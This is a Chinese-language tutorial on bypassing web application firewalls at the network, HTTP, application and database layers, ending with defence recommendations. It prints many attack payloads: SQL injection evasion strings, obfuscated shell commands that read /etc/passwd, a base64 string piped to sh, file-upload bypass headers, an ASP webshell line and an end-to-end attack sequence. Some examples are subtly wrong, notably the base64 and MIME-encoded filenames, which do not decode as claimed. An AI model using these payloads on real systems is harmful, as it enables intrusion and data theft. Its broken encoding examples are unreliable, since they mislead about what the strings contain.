Web应用防火墙(WAF)作为保护网站安全的重要防线,其绕过技术一直是网络安全研究的热点领域。本文将系统性地介绍WAF绕过的方法论、具体技术方案和实践策略,内容涵盖网络架构层、HTTP协议层、应用层以及数据库层的绕过技术,并提供详细的案例分析和防御建议。
WAF基础与绕过方法论
Web应用防火墙(WAF)是一种专门设计用来保护Web应用程序的安全解决方案,它通过监控、过滤和阻止恶意HTTP/HTTPS流量来防御各类网络攻击。WAF通常部署在Web应用程序和客户端之间,像一座"智能安检门"检查所有进出网站的流量,核心任务包括拦截攻击(如SQL注入、XSS)、过滤异常请求(如CC攻击)以及通过"虚拟补丁"临时隐藏漏洞。
WAF的工作流程可分为四个关键阶段:
-
预处理阶段:判断请求是否为HTTP/HTTPS,检查URL是否在白名单中
-
规则检测阶段:将解析后的数据包与预置规则库进行匹配
-
处理模块:根据检测结果执行放行、阻断或告警操作
-
日志记录:记录所有拦截和处理日志供后续分析
绕过WAF的本质是寻找WAF设备之后处理应用层数据包的硬件/软件特性,构造WAF无法识别但应用程序能成功执行的载荷。这些特性就像特定场景,当满足这些场景而WAF未考虑时,就能实现绕过。成功的WAF绕过需要三个关键条件:熟练掌握目标系统函数和语法、深入了解中间件运行机制,以及了解WAF的防护原理和方法。
从技术实施角度看,WAF绕过可分为四大层面:
-
网络架构层绕过:针对WAF部署位置的绕过
-
HTTP协议层绕过:利用协议解析差异
-
应用程序层绕过:利用应用特性或漏洞
-
数据库层绕过:利用数据库特性和SQL语法技巧
网络架构层绕过技术
网络架构层的WAF绕过主要针对WAF的部署位置和网络流量路径设计,核心思路是避开WAF的检测范围 或找到防护体系的薄弱环节。这一层的绕过尤其适用于云WAF场景,通过寻找真实服务器IP或利用网络配置不当实现绕过。
寻找真实IP绕过云WAF
云WAF通常通过DNS解析将流量引导至云端防护节点,找到网站的真实服务器IP即可实现直接访问,绕过云WAF的防护。以下是几种有效的真实IP发现方法:
-
二级域名与其他域名解析记录:
-
查找同一域名注册者下的其他域名解析记录,特别是未接入WAF的二级域名(如test.example.com、dev.example.com)可能直接解析到真实IP
-
使用工具如
dig或nslookup查询相关域名的DNS记录
-
-
邮件服务器MX记录:
-
邮件服务器通常与Web服务器位于同一网络环境,通过查询域名的MX记录可能发现真实IP
-
Windows下使用
nslookup -qt=mx example.com -
Linux下使用
dig mx example.com
-
-
历史解析记录查询:
-
网站接入云WAF前的DNS记录可能暴露真实IP
-
使用SecurityTrails等服务查询域名历史解析记录: https://securitytrails.com/
-
-
全网扫描与SSRF利用:
-
使用Zmap等快速扫描工具对全网IP进行扫描,通过特征比对找到真实服务器
-
若目标存在SSRF漏洞,可通过漏洞反向连接获取网站真实IP
-
利用网络配置漏洞
除了寻找真实IP,网络架构层的绕过还包括:
-
同网段绕过:当WAF仅防护特定网段时,通过处于同一内网的其他设备发起请求可能绕过防护
-
边界漏洞利用:利用网络边界设备(如负载均衡器、CDN节点)的配置缺陷或漏洞,将恶意流量注入到WAF防护区域之外
-
IP白名单绕过:部分WAF对搜索引擎爬虫或特定IP段(如公司内网)设置白名单,伪装成这些可信来源可能绕过检测
表:网络架构层绕过技术对比
| 技术方法 | 适用场景 | 实施难度 | 隐蔽性 | 所需工具 |
|---|---|---|---|---|
| 二级域名解析 | 存在未防护子域名 | 低 | 中 | dig/nslookup |
| MX记录查询 | 邮件与Web同服务器 | 低 | 高 | 系统内置命令 |
| 历史记录查询 | 域名曾直接解析 | 中 | 高 | SecurityTrails |
| 全网扫描 | 其他方法无效 | 高 | 低 | Zmap等扫描器 |
| SSRF利用 | 存在SSRF漏洞 | 中 | 高 | 漏洞利用工具 |
网络架构层的绕过往往是最直接有效的方法,但依赖于目标系统的配置情况和信息收集的全面性。在实际渗透测试中,这些技术常与其他层面的绕过方法结合使用,形成多层次的绕过策略。
HTTP协议层绕过技术
HTTP协议层的绕过技术利用WAF与后端服务器在协议解析上的差异,通过构造特殊的HTTP请求实现防护绕过。这种类型的绕过不依赖于特定应用程序或数据库,具有较高的通用性,是WAF绕过中最常用的方法之一。
SSL/TLS协议绕过
利用WAF对SSL加密算法支持不全面的特性可以实现绕过,特别是在某些硬件WAF场景下:
-
SSL/TLS版本与加密套件探测:
-
使用
sslscan工具识别服务器支持的SSL/TLS版本和加密套件:sslscan http://target/ | grep Accept -
对比WAF与后端服务器支持的加密算法,找出WAF不支持但服务器支持的组合
-
-
特定加密算法请求:
-
使用curl指定特定加密套件发起请求:
curl --ciphers ECDHE-RSA-AES256-SHA https://waf-test.lab.local/ssl-cipher-test -
这种方法可能使WAF无法解密检测流量,而后端服务器能正常处理
-
HTTP协议版本与管道化技术
HTTP协议版本的差异和管道化技术可有效绕过部分WAF的检测机制:
-
HTTP协议版本差异:
-
通过发送非标准HTTP版本请求(如HTTP/0.9)或最新版本(如HTTP/2)利用WAF解析差异
-
某些WAF对老版本协议支持不完善,可能忽略部分恶意请求
-
-
HTTP管道化(Pipeline)技术:
-
在单个TCP连接中连续发送多个HTTP请求,利用WAF可能只检测第一个请求的特性
-
需要设置
Connection: keep-alive头部维持连接 -
第一个请求为正常请求,后续请求包含恶意载荷
-
-
分块传输编码(Chunked Transfer Encoding):
-
使用
Transfer-Encoding: chunked头部,将请求体分块发送 -
WAF与后端服务器对分块数据解析逻辑可能不一致
-
数据最后需要用
0独占一行表示结束
-
编码与内容类型绕过
利用各种编码方式和内容类型声明可以混淆WAF的检测规则:
-
URL编码与双重URL编码:
-
对特殊字符进行URL编码:
'变为%27,变为%20 -
双重URL编码:
%27变为%2527,部分WAF只解码一次 -
案例:
' OR 1=1 --编码为%2527%2520OR%25201%253D1%2520--绕过安全狗
-
-
字符集编码(Charset)绕过:
-
修改
Content-Type头部使用非常用字符集:Content-Type: application/x-www-form-urlencoded;charset=ibm500 -
可用字符集包括ibm037、ibm500、cp875、ibm1026等
-
Burpsuite的HTTP Request Smuggler插件可简化此类数据包修改
-
-
MIME编码绕过:
-
主要用于Spring框架,利用文件名MIME解码特性
-
文件名格式:
=?charset?B?base64str?=,如=?UTF-8?B?YS5gc3A=?=解码为a.jsp -
WAF可能未处理此类编码而直接放行
-
请求头与参数污染技术
请求头操纵和参数污染是HTTP协议层绕过的有效手段:
-
Host头绕过:
-
修改Host头绕过基于域名防护的WAF:
Host: localhost:80 Host: 127.0.0.1:80 -
适用于WAF仅验证特定Host头的场景
-
-
HTTP参数污染(HPP):
-
提交多个同名参数,利用WAF与后端取参差异:
?id=1&id=union select 1,2,3 -
WAF可能检查第一个
id参数,而后端取最后一个 -
不同服务器对多值参数的处理方式不同,PHP通常取最后一个,ASP.NET取第一个
-
-
Content-Type切换:
-
将
application/x-www-form-urlencoded改为multipart/form-data -
部分WAF对multipart请求只检测文件上传,忽略其他攻击
-
需要构造合适的boundary和请求结构
-
表:HTTP协议层主要绕过技术对比
| 技术类别 | 具体方法 | 适用WAF类型 | 检测难度 | 实施复杂度 |
|---|---|---|---|---|
| SSL/TLS绕过 | 加密套件差异 | 硬件WAF | 高 | 中 |
| 协议版本 | HTTP/0.9或HTTP/2 | 云WAF/硬件WAF | 中 | 低 |
| 分块编码 | Transfer-Encoding: chunked | 多数WAF | 中 | 高 |
| 双重URL编码 | %2527代替%27 | 规则简单WAF | 低 | 低 |
| 字符集编码 | charset=ibm500 | 依赖内容检测WAF | 中 | 中 |
| 参数污染 | 多个同名参数 | 参数检查不严WAF | 低 | 低 |
HTTP协议层的绕过技术不断创新,随着HTTP/3等新协议的出现和各类中间件解析差异的发现,未来将出现更多基于协议特性的绕过方法。这些技术往往可以组合使用,形成更复杂的绕过策略。
应用程序层绕过技术
应用程序层绕过技术主要利用Web应用程序、中间件或脚本引擎的特有功能或解析差异来绕过WAF检测。这类绕过方法通常针对特定技术栈,需要根据目标系统的具体实现选择合适的技术。
Web服务器特性利用
不同Web服务器对HTTP请求的解析存在差异,这些差异可被用于WAF绕过:
-
IIS服务器%特性:
-
在ASP+IIS环境中,
s%elect可能被解析为select -
因IIS会删除
%字符,而WAF可能保留原始输入 -
类似地,
un%ion可绕过对union关键词的检测
-
-
IIS Unicode解析特性:
-
IIS支持Unicode解析,如
s%u0065lect被转换为select -
更高级的技巧是利用多个widechar转换为同一字符:
%u0065(e)和%u00f0都会被转换为e
-
案例:
s%u0065lect和s%u00f0lect都被解析为select
-
-
Apache畸形Method处理:
-
某些Apache版本会忽略非常规HTTP方法,如
DOTA2 /?id=1可能被当作GET请求处理 -
WAF可能严格校验方法类型而导致绕过
-
可尝试非标准方法如
GETT、POSTx等
-
-
PHP解析特性:
-
PHP在解析multipart数据时,boundary识别可能只取逗号前内容
-
设置boundary为
----aaaa,123456,PHP只识别----aaaa -
WAF可能获取整个字符串导致解析不一致
-
文件上传绕过技术
文件上传是常见的攻击向量,针对WAF的上传过滤有多种绕过方法:
-
多重filename属性:
-
PHP取最后一个filename值,而WAF可能检查第一个:
Content-Disposition: form-data; name="file"; filename="a.txt";filename="a.php" -
最终服务器接收
a.php,而WAF检查a.txt
-
-
boundary与注释混淆:
-
在boundary中插入注释或特殊字符:
Content-Type: multipart/form-data; boundary=----12345/*test*/ -
不同组件对注释的处理可能不一致
-
-
文件内容混淆:
-
在文件开头添加大量注释或垃圾数据(超过WAF检测大小限制)
-
使用图片马或混合内容绕过内容检测
-
对文件内容进行编码或加密
-
脚本命令执行绕过
系统命令执行是攻击的常见目标,有多种方法可绕过WAF对命令的检测:
-
Linux命令绕过:
-
空格绕过:
cat</etc/passwd cat${IFS}/etc/passwd X=$'cat\x20/etc/passwd'&&$X -
命令分割:
c'a't /etc/pass'"wd c""at /e't'c/pass""wd /b??/ca? /e?c/pas?wd -
通配符扩展:
/b*/ca* /et*/pas*d
-
-
Windows命令绕过:
-
变量截取与拼接:
set a=net user & call %a% %CommonProgramFiles:~10,-18%baidu.com -
特殊字符干扰:
wh^o^am""i -
算术表达式:
%PROGRAMFILES:~10,-5%
-
-
脚本引擎执行:
-
通过Perl、Python等执行命令:
python -c 'import subprocess; subprocess.call(["ca"+"t","/et"+"c/pa"+"sswd"])' -
PHP:
php -r 'exec("ca"."t /et"."c/pa"."sswd");' -
Base64编码执行:
echo Y2F0IC91dGMvcGFzc3dk | base64 -d | sh
-
编码与混淆技术
各种编码转换和混淆技术可有效绕过基于关键词检测的WAF规则:
-
多重编码组合:
-
Unicode编码:
\u0065\u0076\u0061\u006c代替eval -
HTML实体编码:
<script>代替<script> -
混合编码:
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E绕过XSS过滤
-
-
变量与字符串拼接:
-
JavaScript:
['al','ert'].join('')('1') -
PHP:
$a='ass';$b='ert';$c=$b.$a; $c(1); -
SQL:
CONCAT('sel','ect')代替select
-
-
进制转换与特殊表示:
-
十六进制:
0x61646D696E代替admin -
八进制:
\163\145\154\145\143\164(select) -
十进制:
char(115,101,108,101,99,116)
-
表:应用程序层绕过技术适用场景
| 技术类型 | 适用环境 | 检测难度 | 实施复杂度 | 典型案例 |
|---|---|---|---|---|
| IIS %特性 | ASP+IIS | 中 | 低 | s%elect → select |
| 多重filename | PHP应用 | 中 | 中 | 文件上传绕过 |
| 命令分割 | Linux系统 | 高 | 中 | c'a't /etc/passwd |
| 变量拼接 | Windows系统 | 中 | 中 | set a=net user & call %a% |
| Unicode编码 | 支持Unicode解析的系统 | 高 | 高 | \u0065 → e |
| 多重编码 | 所有Web应用 | 高 | 高 | 混合URL+Unicode编码 |
应用程序层的绕过技术高度依赖于目标系统的具体实现和环境配置,在实际渗透测试中需要结合信息收集结果选择合适的技术。随着Web技术的发展和新编程特性的出现,这类绕过方法也在不断演进和丰富。
数据库层绕过技术
数据库层绕过技术专门针对WAF的SQL注入防护机制,利用数据库特性和SQL语法技巧构造恶意查询。这类技术需要深入了解各类数据库的语法差异和特性,是SQL注入攻击中的高级技巧。
SQL注释与空白符技巧
注释和空白符的灵活运用是绕过WAF关键词检测的基础方法:
-
注释符绕过:
-
普通注释:
union/**/select使用/**/分割关键词 -
长注释干扰:
union/*aaaaaaaaaaaaa*/select消耗WAF匹配资源 -
内联注释(MySQL特有):
/*!union*/select或/*!50000union*/select -
版本号注释:
/*!32302 1/0*/仅在MySQL 3.23.02以下版本执行
-
-
空白符替代:
-
MySQL空白符包括:
%09(TAB)、%0A(换行)、%0B、%0C、%0D、%A0等 -
特殊空白符:
%25A0(URL编码的%A0) -
案例:
union%250Cselect利用换页符分隔关键词
-
-
注释与换行组合:
-
1%23%0AAND%23%0A1=1%23解码后:1# AND# 1=1# -
#在MySQL中为注释符,%0A为换行
-
数据库函数与语法特性
利用数据库特有函数和语法特性可构造复杂绕过载荷:
-
函数分隔技巧:
-
concat%2520(使用双重编码空格 -
concat/**/(使用注释分隔 -
concat%25a0(使用特殊空白符
-
-
浮点数词法解析:
-
id=8E0union select 1,2,3 -
id=8.0union select 1,2,3 -
id=\Nunion select 1,2,3
-
-
MySQL特殊语法:
-
ODBC转义语法:
select {x table_name} from {x information_schema.tables} -
大括号表达式:
union{x select{x 1},2}
-
-
报错注入函数:
-
extractvalue(1,concat(0x5c,md5(3))) -
updatexml(1,concat(0x5c,md5(3))) -
几何函数:
GeometryCollection((select * from (select * from (select @@version)x)y)) polygon((select * from (select name_const(version(),1))x)) -
这些函数常被WAF忽略但能执行SQL
-
等价替换与逻辑混淆
通过关键词替换和逻辑重构可绕过简单的关键词过滤规则:
-
关键词等价替换:
-
and→&&,or→|| -
=→like或rlike -
sleep()→benchmark(10000000,md5(1)) -
substr()→substring()或mid()
-
-
逻辑重构:
-
union select 1,2→union select * from ((select 1)A join (select 2)B) -
if(a,b,c)→case when a then b else c end -
limit 1,1→limit 1 offset 1
-
-
十六进制与字符编码:
-
admin→0x61646D696E -
select→char(115,101,108,101,99,116) -
部分场景可用二进制或八进制表示
-
高级绕过技术
针对复杂WAF规则的高级绕过方法:
-
缓冲区溢出绕过:
-
构造超长参数名或值消耗WAF处理资源
-
如超过48KB的POST数据可能绕过某些ISAPI过滤器
-
案例:填充48KB无用数据后再写注入语句
-
-
PCRE限制绕过:
-
利用WAF的正则匹配次数限制(PCRE_EXTRA_MATCH_LIMIT)
-
注入大量注释消耗匹配资源:
union/*aaa...*/select -
当注释字符超过100万时可能绕过部分WAF
-
-
Libinjection绕过:
-
Libinjection是许多WAF使用的SQLi检测库
-
使用不常用SQL函数:
mod(3,2) union select mod(3,2),usr,pwd from user -
特殊字符插入:
1<@可能绕过检测 -
大括号语法:
1 and{ifupdatexml(1,concat(0x3a,(select schema_name from information_schema.schemata limit 0,1)),1)}
-
-
Fuzz测试绕过:
-
编写脚本自动化测试各种变异组合
-
使用随机UA头减少被封锁风险
-
示例Fuzz向量:
fuzz_aa = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00'] fuzz_bb = ['', ' '] fuzz_cc = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"] -
组合测试如
/*!union%s%s%sselect*/
-
表:数据库层绕过技术分类
| 技术类型 | 主要方法 | 适用数据库 | 检测难度 | 实施复杂度 |
|---|---|---|---|---|
| 注释干扰 | /**/、/!/、# | 多数数据库 | 中 | 低 |
| 空白符变异 | %0A、%A0等 | MySQL、MSSQL | 高 | 中 |
| 报错注入 | updatexml等 | MySQL | 低 | 中 |
| 等价替换 | &&代替and | 多数数据库 | 低 | 低 |
| ODBC语法 | {x select} | MySQL | 高 | 高 |
| PCRE限制 | 超长注释 | 规则严格WAF | 高 | 中 |
| Libinjection绕过 | 特殊字符插入 | 使用Libinjection的WAF | 高 | 高 |
数据库层绕过技术是SQL注入攻击中的高级主题,需要根据目标数据库类型和WAF规则特点选择合适的技术组合。随着WAF技术的进步,单纯的注释或大小写变换可能不再有效,需要结合协议层和应用层技术形成多层次的复合绕过策略。
综合绕过策略与防御建议
前文详细介绍了各层面的WAF绕过技术,但在实际环境中,单一技术往往难以突破现代高级WAF的防护。本章将探讨如何综合应用各类技术形成有效的绕过策略,同时从防御角度提供WAF配置建议,帮助安全人员加固防护体系。
多技术组合绕过策略
分层组合攻击是突破WAF的有效方法,通过结合网络层、协议层和应用层技术构造复杂攻击载荷:
-
编码嵌套组合:
-
将Unicode编码与双重URL编码结合:
%25%37%35(双重编码的u) +%25%36%35(e) =%u0065 -
HTML实体编码嵌套Base64:
<script>+Base64编码事件处理函数 -
案例:
%2527(双重编码单引号) +%20union%20+%0Aselect(换行分隔)
-
-
协议与数据库层结合:
-
使用HTTP分块传输编码发送SQL注入载荷
-
在POST数据超过48KB后插入SQL语句,绕过ISAPI过滤器
-
修改Content-Type为
multipart/form-data同时使用数据库注释符分隔关键词
-
-
应用与数据库层结合:
-
利用PHP的
filename解析特性上传.php文件,文件内容包含编码后的SQL语句 -
通过文件包含漏洞执行上传文件,触发二次SQL注入
-
案例:上传文件名为
=2UTF-82B?YS5gc3A=?=(解码为a.jsp),内容包含<% execute(request("cmd")) %>
-
情景化绕过流程示例:
-
通过DNS历史记录找到真实IP,绕过云WAF
-
使用
curl --ciphers ECDHE-RSA-AES256-SHA建立SSL连接 -
发送分块编码的POST请求,参数名重复且第一个参数正常
-
SQL语句中使用
/*!union*/内联注释和%0A换行 -
关键表名和列名使用十六进制表示
0x7573657273(users)
WAF绕过检测与防御
针对日益复杂的绕过技术,防御方需要采取多层次的安全措施:
-
WAF配置加固建议:
-
启用全量解码检测:对URL编码、Unicode、Base64等进行多层解码后检测
-
限制最大HTTP头数量和大小,防止缓冲区溢出攻击
-
设置合理的PCRE匹配限制,既防ReDoS又避免被绕过
-
对所有同名参数进行检测,而非仅第一个或最后一个
-
-
架构设计建议:
-
避免暴露真实IP,定期检查DNS记录
-
邮件服务器与Web服务器分离,MX记录不指向业务IP
-
使用网络层ACL限制非HTTP/HTTPS流量访问Web服务器
-
考虑混合部署模式:云WAF+本地硬件WAF形成多层次防护
-
-
监控与日志分析:
-
记录所有被拦截请求的原始数据,包括HTTP头和body
-
对成功请求进行抽样分析,检测潜在绕过行为
-
建立异常流量基线,监控偏离基线的请求模式
-
使用机器学习检测编码异常和参数变异模式
-
-
代码层防御:
-
使用参数化查询而非拼接SQL
-
输入验证采用白名单而非黑名单
-
统一大小写处理,避免大小写绕过
-
对文件上传进行内容检测而非仅依赖扩展名
-
未来趋势与研究方向
WAF绕过技术仍在持续演进,以下几个方向值得关注:
-
AI驱动的绕过技术:
-
使用生成对抗网络(GAN)自动生成绕过载荷
-
基于强化学习的自动化Fuzz测试框架
-
上下文感知的语义绕过,理解应用逻辑后构造合法恶意请求
-
-
新兴协议与标准:
-
HTTP/3协议带来的新解析差异
-
WebAssembly等新执行环境中的绕过可能性
-
服务网格(Service Mesh)架构下的安全边界变化
-
-
硬件级绕过:
-
利用CPU推测执行等硬件特性绕过安全检测
-
基于时间的侧信道攻击探测WAF规则
-
GPU加速的暴力Fuzz测试
-
-
防御技术演进:
-
行为分析替代静态规则匹配
-
客户端证明(Client Proof)技术验证请求合法性
-
可编程WAF支持自定义检测逻辑
-
表:WAF绕过与防御技术对比
| 技术维度 | 攻击方策略 | 防御方对策 | 技术成熟度 | 实施成本 |
|---|---|---|---|---|
| 编码混淆 | 多重嵌套编码 | 全量解码检测 | 高 | 中 |
| 协议差异 | 利用解析不一致 | 规范化处理 | 中 | 高 |
| 资源消耗 | 大数据包/长注释 | 合理限制 | 高 | 低 |
| 参数污染 | 多同名参数 | 全参数检测 | 高 | 低 |
| 语义分析 | 上下文相关载荷 | 行为分析 | 低 | 高 |
| AI对抗 | 自动生成载荷 | AI检测引擎 | 新兴 | 很高 |
WAF绕过与防护是一场持续的攻防博弈,没有一劳永逸的解决方案。安全团队需要保持对最新绕过技术的了解,定期评估和调整防护策略,同时加强开发人员的安全培训,从源头减少漏洞的产生。只有将WAF与其他安全措施结合,形成纵深防御体系,才能有效应对日益复杂的网络攻击。
尤其是防止xgz干坏事,必须得加防御!